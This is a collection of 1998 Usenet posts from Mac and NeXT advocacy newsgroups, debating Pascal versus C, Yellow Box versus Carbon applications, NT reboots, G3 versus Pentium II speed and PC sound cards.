> And C is just generally more widely used.
Not an argument that you should use if you are advocating objective-C :-)
> Also, C shows a lot of range in the form of Objective
> C.
I'm not sure what you mean by "range" in this context but remember that we are
talking about the base language (C vs. Pascal) and not the object-oriented
extensions.
> As straight C it will compile and execute faster, and allow
> more efficient low level type work, but as ObjC it let's you get
> almost to the rhelm of smalltalk flexibility and functionality.
Actually, Pascal code compiles faster because it uses a single-pass compiler.
The execution speed of pascal code need not be any slower than C code. For
low- level work, the only thing that pascal is missing is the volatile and
register keywords. The register keyword is only marginally useful and
compiler directives take care of volatile. The bit operators use functional
notation but are just as complete as they are in C. And remember, you said
"but is based on pascal" so the features of Objective-C (except the C subset)
are not relevant.
> I don't see pascal as having as broad a range.
If I understand you, I think that you are wrong :) BTW, have you ever used
Modula-2? Pascal was meant as a teaching language so Worth make Modula-2 as a
production software language. It is similar to pascal but has a lot of
advantages over C. On of the biggest, IMHO, is real data hiding. Even
Objective- C forces you to make public the variables found in structures and
classes. Modula-2 doesn't.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Fri, 21 Aug 1998 19:28:10 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6rkhoa$6s4$1@nnrp1.dejanews.com>
References: <don.brown-1208980859310001@dsm-ia3-10.ix.netcom.com> <B1F72C46-4D386@206.165.43.141> <joe.ragosta-1208981436470001@wil66.dol.net> <B1F737B2-78293@206.165.43.141> <joe.ragosta-1208981526060001@wil62.dol.net> <brian_hall-1308981858030001@22.markspace.com> <B1F8F3E2-30CE8@206.165.43.169> <nagleExo0yE.H1H@netcom.com> <1de0ddo.kg5qnj1ibzwr1N@roxboro0-031.dyn.interpath.net> <6rfaqa$aqg$1@nnrp1.dejanews.com> <1de2naw.1k0bg7i14dfdxlN@roxboro0-018.dyn.interpath.net> <6ril6a$sf4$1@nnrp1.dejanews.com> <1de345u.1f49y0m1g47syaN@roxboro0-018.dyn.interpath.net>
In article <1de345u.1f49y0m1g47syaN@roxboro0-018.dyn.interpath.net>,
phenix@interpath.com (John Moreno) wrote:
> I didn't mean that they would behave in the same way but that from the
> user perspective that they are equivalent. A YB app, and a Carbon app,
> will both be full fledged citizens. The user isn't interested in the
> internal's.
Isn't your first statement contradictory? How can something behave differently
but appear to be equivalent? Or do you mean that the behavioral differences
will not be visible to the user? They will be.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: "Allan Streib" <astreib@indiana.no_spam.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Fri, 21 Aug 1998 14:48:39 -0500
Organization: Indiana University Bloomington
Message-ID: <6rkiu5$7ma$1@jetsam.uits.indiana.edu>
References: <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <joe.ragosta-1608980805280001@elk78.dol.net> <35d73727.75437413@news.iafrica.com> <Pine.SOL.3.94.980820183426.21510D-100000@droid.fit.qut.edu.au> <35dc7478.113530583@news.iafrica.com> <gmgraves-2008981831490001@sf-usr1-14-142.dialup.slip.net> <6rj375$cu3$1@nnrp1.dejanews.com> <joe.ragosta-2108980750200001@wil89.dol.net> <35DDBACB.58812391@cisco.com>
Barry Friedman wrote in message <35DDBACB.58812391@cisco.com>...
>Joe Ragosta wrote:
>>
>> Unless you measure "better" by ease of use, productivity, or cost of
>> ownership. Then, NT falls well short of Mac OS.
<snip>
>
>How is having to reboot the machine several times per week more
>productive?
>
You might be interested in the recent Computerworld article which states
that many IT managers find Unix "very attractive" compared to NT due to the
"thousands of tasks" which require NT to be rebooted, sometimes up to
"several times per day" depending on the installation. The article states
that many, but not all, of these are addressed in the forthcoming NT 5.0
See http://www.computerworld.com/home/print.nsf/all/9808176336
Not exactly relevant to the current discussion which compares today's Mac OS
to NT, but maybe more so with Max OS X, with its Unix underpinnings.
--
Allan Streib
Opinions expressed are my own....
From: "Allan Streib" <astreib@indiana.no_spam.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Fri, 21 Aug 1998 14:56:17 -0500
Organization: Indiana University Bloomington
Message-ID: <6rkjdi$7nb$2@jetsam.uits.indiana.edu>
References: <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <joe.ragosta-1608980805280001@elk78.dol.net> <35d73727.75437413@news.iafrica.com> <Pine.SOL.3.94.980820183426.21510D-100000@droid.fit.qut.edu.au> <35dc7478.113530583@news.iafrica.com> <gmgraves-2008981831490001@sf-usr1-14-142.dialup.slip.net> <6rj375$cu3$1@nnrp1.dejanews.com> <joe.ragosta-2108980750200001@wil89.dol.net> <35DDBACB.58812391@cisco.com>
Barry Friedman wrote in message <35DDBACB.58812391@cisco.com>...
>Joe Ragosta wrote:
>>
>> Unless you measure "better" by ease of use, productivity, or cost of
>> ownership. Then, NT falls well short of Mac OS.
<snip>
>
>How is having to reboot the machine several times per week more
>productive?
>
You might be interested in the recent Computerworld article which states
that many IT managers find Unix "very attractive" compared to NT due to the
"thousands of tasks" which require NT to be rebooted, sometimes up to
"several times per day" depending on the installation. The article states
that many, but not all, of these are addressed in the forthcoming NT 5.0
See http://www.computerworld.com/home/print.nsf/all/9808176336
Not exactly relevant to the current discussion which compares today's Mac OS
to NT, but maybe more so with Max OS X, with its Unix underpinnings.
--
Allan Streib
Opinions expressed are my own....
From: "Allan Streib" <astreib@indiana.no_spam.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Fri, 21 Aug 1998 14:48:39 -0500
Organization: Indiana University Bloomington
Message-ID: <6rkjcp$7nb$1@jetsam.uits.indiana.edu>
References: <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <joe.ragosta-1608980805280001@elk78.dol.net> <35d73727.75437413@news.iafrica.com> <Pine.SOL.3.94.980820183426.21510D-100000@droid.fit.qut.edu.au> <35dc7478.113530583@news.iafrica.com> <gmgraves-2008981831490001@sf-usr1-14-142.dialup.slip.net> <6rj375$cu3$1@nnrp1.dejanews.com> <joe.ragosta-2108980750200001@wil89.dol.net> <35DDBACB.58812391@cisco.com>
Barry Friedman wrote in message <35DDBACB.58812391@cisco.com>...
>Joe Ragosta wrote:
>>
>> Unless you measure "better" by ease of use, productivity, or cost of
>> ownership. Then, NT falls well short of Mac OS.
<snip>
>
>How is having to reboot the machine several times per week more
>productive?
>
You might be interested in the recent Computerworld article which states
that many IT managers find Unix "very attractive" compared to NT due to the
"thousands of tasks" which require NT to be rebooted, sometimes up to
"several times per day" depending on the installation. The article states
that many, but not all, of these are addressed in the forthcoming NT 5.0
See http://www.computerworld.com/home/print.nsf/all/9808176336
Not exactly relevant to the current discussion which compares today's Mac OS
to NT, but maybe more so with Max OS X, with its Unix underpinnings.
--
Allan Streib
Opinions expressed are my own....
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Content-Type: text/plain; charset=us-ascii
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Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: friedman@cisco.com
Organization: none
References: <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu>
<gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu>
<gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com>
<asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com>
<joe.ragosta-1608980805280001@elk78.dol.net> <35d73727.75437413@news.iafrica.com>
<Pine.SOL.3.94.980820183426.21510D-100000@droid.fit.qut.edu.au> <35dc7478.113530583@news.iafrica.com>
<gmgraves-2008981831490001@sf-usr1-14-142.dialup.slip.net> <6rj375$cu3$1@nnrp1.dejanews.com>
<joe.ragosta-2108980750200001@wil89.dol.net> <35DDBACB.58812391@cisco.com>
Mime-Version: 1.0
Date: Fri, 21 Aug 1998 19:53:19 GMT
In <35DDBACB.58812391@cisco.com> Barry Friedman wrote:
> > Unless you measure "better" by ease of use, productivity, or cost of
> > ownership. Then, NT falls well short of Mac OS.
>
> How is waiting for one task to complete before starting the next
> one more productive?
I don't.
> How is having to reboot the machine several times per week more
> productive?
I don't.
> How is having to quit some programs because I've run out of memory
> more productive?
I don't.
> How is not being able to get the software or hardware I need more
> productive?
Well, this hasn't been a problem for me. Quite the opposite, the CD-R I
bought would have required extra hardware on the PC (SCSI card) but popped
right into my Mac and presto.
> How is not being able to find enough administrators for Mac systems
> more productive?
Well, that's pretty much defined in the sentance - you don't need as many.
> How is a crufty old procedural API more productive?
...than the crufty old Win32 procedural API?
> How is a single vendor solution and a lack of choice and options
> more productive?
You say NT vs. MacOS at the top. Can you tell me what other vendors sell
NT based OS's?
Sorry Barry, this is just more contentless fluff, much like the message you
were replying to.
Maury
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Fri, 21 Aug 1998 15:06:24 -0500
Organization: Ericsson North America Inc.
Message-ID: <35DDD340.230E7E20@ericsson.com>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <rayExuyrC.IIo@netcom.com> <35D8C744.5F35DF26@ericsson.com> <35dc0e60.788068@news.supernews.com> <slrn6tkr5o.bl2.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35de4bec.11657983@news.netdirect.net> <joe.ragosta-1908981845370001@elk70.dol.net> <35DC37CF.56D9BDC2@ericsson.com> <joe.ragosta-2108981424080001@wil54.dol.net>
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Joe Ragosta wrote:
> But if you have a CAFE that says you have to reach 29 mpg fleet average,
> you can do that a number of different ways. Making the cars less safe is
> only one of them.
It has a net effect on the automakers' design priorities, a
not-insignificant one. The truth is that people die because of CAFE
standards.
MJP
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
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Organization: none
References: <don.brown-1208980859310001@dsm-ia3-10.ix.netcom.com> <B1F72C46-4D386@206.165.43.141>
<joe.ragosta-1208981436470001@wil66.dol.net> <B1F737B2-78293@206.165.43.141>
<joe.ragosta-1208981526060001@wil62.dol.net> <brian_hall-1308981858030001@22.markspace.com>
<B1F8F3E2-30CE8@206.165.43.169> <nagleExo0yE.H1H@netcom.com>
<1de0ddo.kg5qnj1ibzwr1N@roxboro0-031.dyn.interpath.net> <6rfaqa$aqg$1@nnrp1.dejanews.com>
<1de2naw.1k0bg7i14dfdxlN@roxboro0-018.dyn.interpath.net> <6ril6a$sf4$1@nnrp1.dejanews.com>
<1de345u.1f49y0m1g47syaN@roxboro0-018.dyn.interpath.net> <Ey1n3C.M7M@T-FCN.Net>
<1de3z9s.1mg2ltk1osulo9N@roxboro0-018.dyn.interpath.net>
Mime-Version: 1.0
Date: Fri, 21 Aug 1998 19:35:09 GMT
In <1de3z9s.1mg2ltk1osulo9N@roxboro0-018.dyn.interpath.net> John Moreno
wrote:
> My earlier position is a vast simplification.
Fair enough, but I'll still "admonish" you for not making this _much_
clearer at the time.
> Then yellow box apps shouldn't have any trouble running carbon apps out
> of business.
This is certainly my hope - as my food intake relies on this!
> But in the meantime, from the user perspective, they seem
> to be the same.
I still don't think this is true. When every one of your apps seemlessly
moves data about - ANY data - and they all have more features that the "big
boys", I think the user's perspective of the system is radically different.
I know mine was. It took me weeks to
> The first and biggest thing that they'll be interested in is the
> stability.
Well sure, but even I'll admit the MacOS has come a _long_ way recently in
this regard.
> As for how powerful the most basic programs are - the user doesn't care
> that you only had to write a hundred lines of code to make a full
> featured word processor, the user cares that he has a good word
> processor with the features he wants.
See, that's where I disagree. I think when the average use opens one
program to find all the powerful features from another, they will see that as
a difference - hopefully a major one. There's a massive difference between
having powerful word processing features in Word, and having powerful word
processing features in FileMaker.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
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Cc: jhendry@shrike.depaul.edu
Organization: none
References: <6ricof$rpt$1@lwnws01.ne.highway1.com> <B2021373-186F9@206.165.43.14>
<6riimr$3r8$1@lwnws01.ne.highway1.com> <6rj31o$css$1@nnrp1.dejanews.com>
<6rk08i$6ur$2@lwnws01.ne.highway1.com> <35dd962f.0@news.depaul.edu>
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Date: Fri, 21 Aug 1998 19:41:17 GMT
In <35dd962f.0@news.depaul.edu> Jonathan W Hendry wrote:
> Two things Delphi has over YellowBox: 1) compiles are single-pass,
> and very fast; 2) It's much easier to create a palletized object.
> Unlike InterfaceBuilder, you don't need to create a special
> inspector for a new class; Delphi's Inspector lets you edit
> all the published properties of the object, automatically. In
> YellowBox, you have to create an Inspector and UI to allow the
> user to graphically edit the new class' instances.
That's something that PP's interface app does too, subclasses add
_sub_editors rather than simply not working.
Maury
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Fri, 21 Aug 1998 20:13:30 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6rkkda$9tt$1@nnrp1.dejanews.com>
References: <6rj2q7$cqc$1@nnrp1.dejanews.com> <B2026BDE-1FDB3@206.165.43.101>
In article <B2026BDE-1FDB3@206.165.43.101>,
"Lawson English" <english@primenet.com> wrote:
> Are you trying to suggest that they're going to go so far as to rewrite the
> display engine and then shoe-horn it on top of a QuickDraw (classic) based
> windowing system? You can do that with GX, but that's because GX was
> designed from the ground up to do that.
[Rest snipped]
The difference is not in the graphics API but how Carbon and YB applications
handle events. I believe that you are a Mac OS programmer so think about how
your applications deal with their windows being dragged. They detect the
mouseDown event, call FindWindow, call DragWindow and then call MoveWindow.
The window is now in it's new position. In YB, windows movement is controlled
by the window server so you don't see any of that. The same is true of menus.
The user will be able to see the difference because the windows and menus of
Carbon applications will be frozen when that application is busy while YB
applications will not have this problem. Apple can either hack the Mac OS
event model (which will probably break a fair number of programs), it make
the YB app behavior inferior or it can let the behavior stay inconsistent.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy
Subject: Re: 3D chips
Date: Fri, 21 Aug 1998 20:16:20 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6rkkik$a7p$1@nnrp1.dejanews.com>
References: <6ri2mt$3j6@newsb.netnews.att.com> <6rin3i$uki$1@nnrp1.dejanews.com> <see-below-2008982307040001@dynamic13.pm03.mv.best.com>
In article <see-below-2008982307040001@dynamic13.pm03.mv.best.com>,
see-below@not-my-address.invalid (Matthew Vaughan) wrote:
> Just a note: the Rage Pro Turbo _is_ the Rage Pro hardware exactly, it's
> just a newer rev. of the driver (on the PC at least). I can reference a
> post from an ATi engineer confirming this if you like...
Yes, please do that. I thought that, at the least, the packaging had changed
between the two chipsets.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: quinlan@intergate.bc.ca
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Fri, 21 Aug 1998 20:28:29 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6rkl9f$b35$1@nnrp1.dejanews.com>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <joe.ragosta-1608980726050001@elk78.dol.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <35D865AF.5045B9BA@inficad.com> <35d98440.15799568@news.netdirect.net> <jak-1808982348440001@dialup110.phnx.uswest.net> <35d9ed36.2151113@news.netdirect.net> <jak-1908982053290001@ddialup168.phnx.uswest.net> <6rgonk$pm9$1@nnrp1.dejanews.com> <christian.bau-2008981346000001@christian-mac.isltd.insignia.com>
In article <christian.bau-2008981346000001@christian-mac.isltd.insignia.com>,
christian.bau@isltd.insignia.com (Christian Bau) wrote:
> But then it has the worlds most powerful processors for desktop computers,
> especially for floating point and for bit fiddling, and that is what you
> need for handling sound.
First of all, there are desktop Alpha computers that have processors which are
faster than any G3 processor. How much faster than a PII-400 do you think that
a G3/300 is? Do you think that, with the EXTRA processing power, it could
resample and combine 16 channels of sound? Generate stereo sound for 8 sources
taking into account their 3D positions and velocities? Also remember than the
G3 processor you are refering to is attached to a computer with a slower bus
and (unless the PC has a crappy card) video card.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
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From: phenix@interpath.com (John Moreno)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Fri, 21 Aug 1998 16:40:07 -0400
Organization: phenix@interpath.com
Message-ID: <1de4det.3d9y5zmr82bmN@roxboro0-018.dyn.interpath.net>
References: <don.brown-1208980859310001@dsm-ia3-10.ix.netcom.com> <B1F72C46-4D386@206.165.43.141> <joe.ragosta-1208981436470001@wil66.dol.net> <B1F737B2-78293@206.165.43.141> <joe.ragosta-1208981526060001@wil62.dol.net> <brian_hall-1308981858030001@22.markspace.com> <B1F8F3E2-30CE8@206.165.43.169> <nagleExo0yE.H1H@netcom.com> <1de0ddo.kg5qnj1ibzwr1N@roxboro0-031.dyn.interpath.net> <6rfaqa$aqg$1@nnrp1.dejanews.com> <1de2naw.1k0bg7i14dfdxlN@roxboro0-018.dyn.interpath.net> <6ril6a$sf4$1@nnrp1.dejanews.com> <1de345u.1f49y0m1g47syaN@roxboro0-018.dyn.interpath.net> <Ey1n3C.M7M@T-FCN.Net> <1de3z9s.1mg2ltk1osulo9N@roxboro0-018.dyn.interpath.net> <Ey212p.6qG@T-FCN.Net>
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: nobody
In comp.sys.next.advocacy Maury Markowitz wrote:
> John Moreno wrote:
> > My earlier position is a vast simplification.
>
> Fair enough, but I'll still "admonish" you for not making this _much_
> clearer at the time.
Fair enough.
> > Then yellow box apps shouldn't have any trouble running carbon apps out
> > of business.
>
> This is certainly my hope - as my food intake relies on this!
>
> > But in the meantime, from the user perspective, they seem to be the
> > same.
>
> I still don't think this is true. When every one of your apps seemlessly
> moves data about - ANY data - and they all have more features that the "big
> boys", I think the user's perspective of the system is radically different.
> I know mine was. It took me weeks to
Not knowing how they came about, the average user will just think that
they are better programs. But unlike with the old "bb or yb" situation,
the interface to get one running is the same, and the first appearance
will be the same (i.e. this is word processor, this is a database, this
is photshop, and so forth).
> > The first and biggest thing that they'll be interested in is the
> > stability.
>
> Well sure, but even I'll admit the MacOS has come a _long_ way recently in
> this regard.
>
> > As for how powerful the most basic programs are - the user doesn't care
> > that you only had to write a hundred lines of code to make a full
> > featured word processor, the user cares that he has a good word
> > processor with the features he wants.
>
> See, that's where I disagree. I think when the average use opens one
> program to find all the powerful features from another, they will see that as
> a difference - hopefully a major one. There's a massive difference between
> having powerful word processing features in Word, and having powerful word
> processing features in FileMaker.
Which brings me back to my (almost) first point - where is the
announcement from apple that FileMaker has been either carbonized or
yb'd? It looks like it's a bluebox app, and that's it. This isn't
encouraging others to adopt "how easy can it be, apple hasn't done it?"
(referring to both carbon and yellow box).
Both developers and users are taking a wait and see attitude towards all
of this because of past behavior, apple needs to counter this with
aggressive adoption of the new technology (FileMaker, ClarisWorks,
Emailer and any other app they have that they think wouldn't loose too
much money), and aggressive marketing of it (start selling preorders of
MacOSX for both the PPC and Intel). "This time we're coming out with a
new OS and we mean it".
--
John Moreno
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: More lies from Jobs on iMac speed
Date: 21 Aug 1998 19:08:29 GMT
Organization: Michigan State University
Message-ID: <6rkgjd$55s$1@msunews.cl.msu.edu>
References: <6r997s$csp$1@nnrp1.dejanews.com> <Exw6qK.I4D.0.queen@torfree.net>
<macghod-1808981215550001@sdn-ar-002casbarp276.dialsprint.net> <stone-1808981820410001@rc-pm3-1-06.enetis.net>
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Cc: stone@stoneentertainment.com
In <stone-1808981820410001@rc-pm3-1-06.enetis.net> Kevin Stone wrote:
> In article
<macghod-1808981215550001@sdn-ar-002casbarp276.dialsprint.net>,
> macghod@concentric.net (Steve Sullivan) wrote:
> (snip)
> > Steve Jobs is lieing
>
> I agree for the most part. But I would argue that Steve Jobs is not
lying.
>
> A G3 is up to twice as fast as a PentiumII in Byte's Integer
benchmark...
> there is no argument from either side on that issue. It is a
verifiable,
> repeatable, provable fact.
>
> So long as Jobs' statements are in respect to THAT FACT. Then he is
not
> lying. So far I havn't heard anything to the contrary. Everytime
he's
> claimed in public that the G3 is twice as fast as the PII he refered
to
> Byte's integer benchmark. Everytime an Apple commercial has come on
the
> air claiming that the G3 is twice as fast as the PII they've
displayed a
> disclaimer on the bottom of the screen informing viewers that the
claims
> are in reference to Byte's integer benchmark.
Check out my transcript from the CNBC Market Watch interview last
friday with
him then.
http://www.channelu.com/Transcripts/SJCNBC.1998.08.14.1710.html
I heard nothing referring to BYTEmark and as I stated
in my comments at the end I believe that Mr. Jobs does a disservice
to his hardware in making such statements. Just because one benchmark
reports results consistent with his view it is not fair to use those
results
to make blanket statements about performance.
I won't say he's lied. I will say that he is misleading his customers
with such statements. With respect to performance I think Mr. Jobs
would do much better to say that the iMac beats similiarly equipped
PC hardware, and let the iMac speak for itself through it's purchasers
and independant tests. Better to let word of mouth take over here.
Everything that I've read says the iMac should perform about 25-33%
faster Mhz for Mhz compared to a PII. Significant yes. A factor of
2 not. Ultimately I'd like to see some comparisions with the same
OS, same benchmark software, same compiler, etc. testing both integer
and floating point. Though we can debate this for quite some time.
I'd really like to know about general perceptions from people who
work on macs and PC's doing similiar tasks. If there are any!?
> If there were ever a time when Jobs' generalized the issue, claiming
> without reference that the G3 were twice as fast as a PII... then he
would
> be lying. Otherwise he's just stretching the truth, just as Bill
Gates
> has done, or any good CEO of a major corporation would do to hype
their
> product. But I admit, I don't find it difficult to hold a company in
> contempt for hyping their product way beyond what it is actualy
capable
> of. It's no wonder why so many people hate Microsoft. :/
>
I guess according to your criteria in the CNBC interview he was lying.
Though I won't go that far. I will go as far as to say I'm very much
annoyed with these kind of marketing statements. 2x faster blah.
I will only know that if I get one in my hands for a while to see if
what I do would be 2x faster. I guess compared to my P-Pro
(225=75x3)
it might be 2x faster
Though all of this matters little when I have to tell my 19 yr old
sister
who is happily using a NeXT Station and wants to take some basic
computer classes that she should probably get a x86 PC running
windows since most basic computer classes only deal with PC's
and the software they'd want you to learn would certainly be available
on PC's - questionably on macs - and most probably not on UNIX.
That made me kind of sick.
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: nhughes@sunflower.com (nate)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: Help me decide
Date: Thu, 20 Aug 1998 06:12:25 GMT
Organization: KU
Message-ID: <35dfbcb6.24132046@198.0.0.100>
References: <p.kerr-1808980857340001@news.auckland.ac.nz> <000035D8F15C.NO_UCE@mauve.demon.co.uk> <35d8f8dc.0@news.depaul.edu> <gmgraves-1808981126450001@sf-usr1-26-154.dialup.slip.net> <uthant-1808981759220001@user-37kb5fb.dialup.mindspring.com> <enj-1808981701510001@kly12.slac.stanford.edu> <uthant-1808982144500001@user-38lcfud.dialup.mindspring.com> <enj-1908981623410001@kly12.slac.stanford.edu> <Pine.GSO.3.96.980819212153.19649B-100000@cardinal2.Stanford.EDU>
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NNTP-Posting-Date: 20 Aug 1998 06:15:52 GMT
On Wed, 19 Aug 1998 21:25:51 -0700, josvai
<sjosvai@leland.Stanford.EDU> wrote:
>
>Ok folks, I am ready to purchase. I will be doing graduate work...do I
>really need spend big bucks for Pentium II chip,. of will k62 or celeron
>do? If I go k62 or celeron, i can afford the 17" monitor and a high end
>printer...for about 2K i mean really, i completed a 4 year undergrad
Considering the 2k limit, you need the PII, and a 400Mhz model at
that. Don't buy the AMD unless you absolutely need to and don't buy
the celeron unless you are near homeless.
More tips. Don't buy a big brand name such as Compaq or HP. Get a
good video card (matrox) and a genuine Soundblaster sound card.
--
Nathan A. Hughes
The University Theatre, KU
http://scenedesign.home.ml.org
From: quinlan@intergate.bc.ca
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Wed, 19 Aug 1998 21:15:05 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6rff8p$ft2$1@nnrp1.dejanews.com>
References: <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <joe.ragosta-1608980726050001@elk78.dol.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <6r9cu3$n76@fridge.shore.net> <980818175812-see@my.sig.com>
In article <980818175812-see@my.sig.com>,
see@my.sig.com wrote:
> If you don't want to consider using Mac programs that are as good or
> better, there's no help for you...
What Mac program is better than SoftImage?
> So why aren't you using SGIs?
Maybe he does a lot of software rendering or can't justify the cost of an SGI.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
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From: quinlan@intergate.bc.ca
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Wed, 19 Aug 1998 21:21:46 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6rffla$g9u$1@nnrp1.dejanews.com>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <joe.ragosta-1608980726050001@elk78.dol.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <35D865AF.5045B9BA@inficad.com> <35d98440.15799568@news.netdirect.net> <jak-1808982348440001@dialup110.phnx.uswest.net>
In article <jak-1808982348440001@dialup110.phnx.uswest.net>,
jak@asu.edu (John Kestner) wrote:
> Why do I need to swap a soundcard? Isn't CD-quality built-in sound enough?
Even if you find the quality of the sound acceptable, there is still reason to
buy a good sound card. On the Mac, sound processing is done in software and
many games limit the number of sound channels that they use to reduce the
burden on the processor. OTOH, most good PC sound cards can do MIDI in
hardware, mix channels in hardware and can change their sampling rate and
resolution. Some cards can even do 3D sound transformations in hardware. My
card, for example, can do HRTF processing for 8 sounds in hardware.
> (It's nice for developers to know they can count on a single sound
> interface, too.)
Applications should not touch the sound hardware directly. Mac programs
should use the Sound Manager and SoundSprokets. PC programs can use
DirectSound or A3D.
--
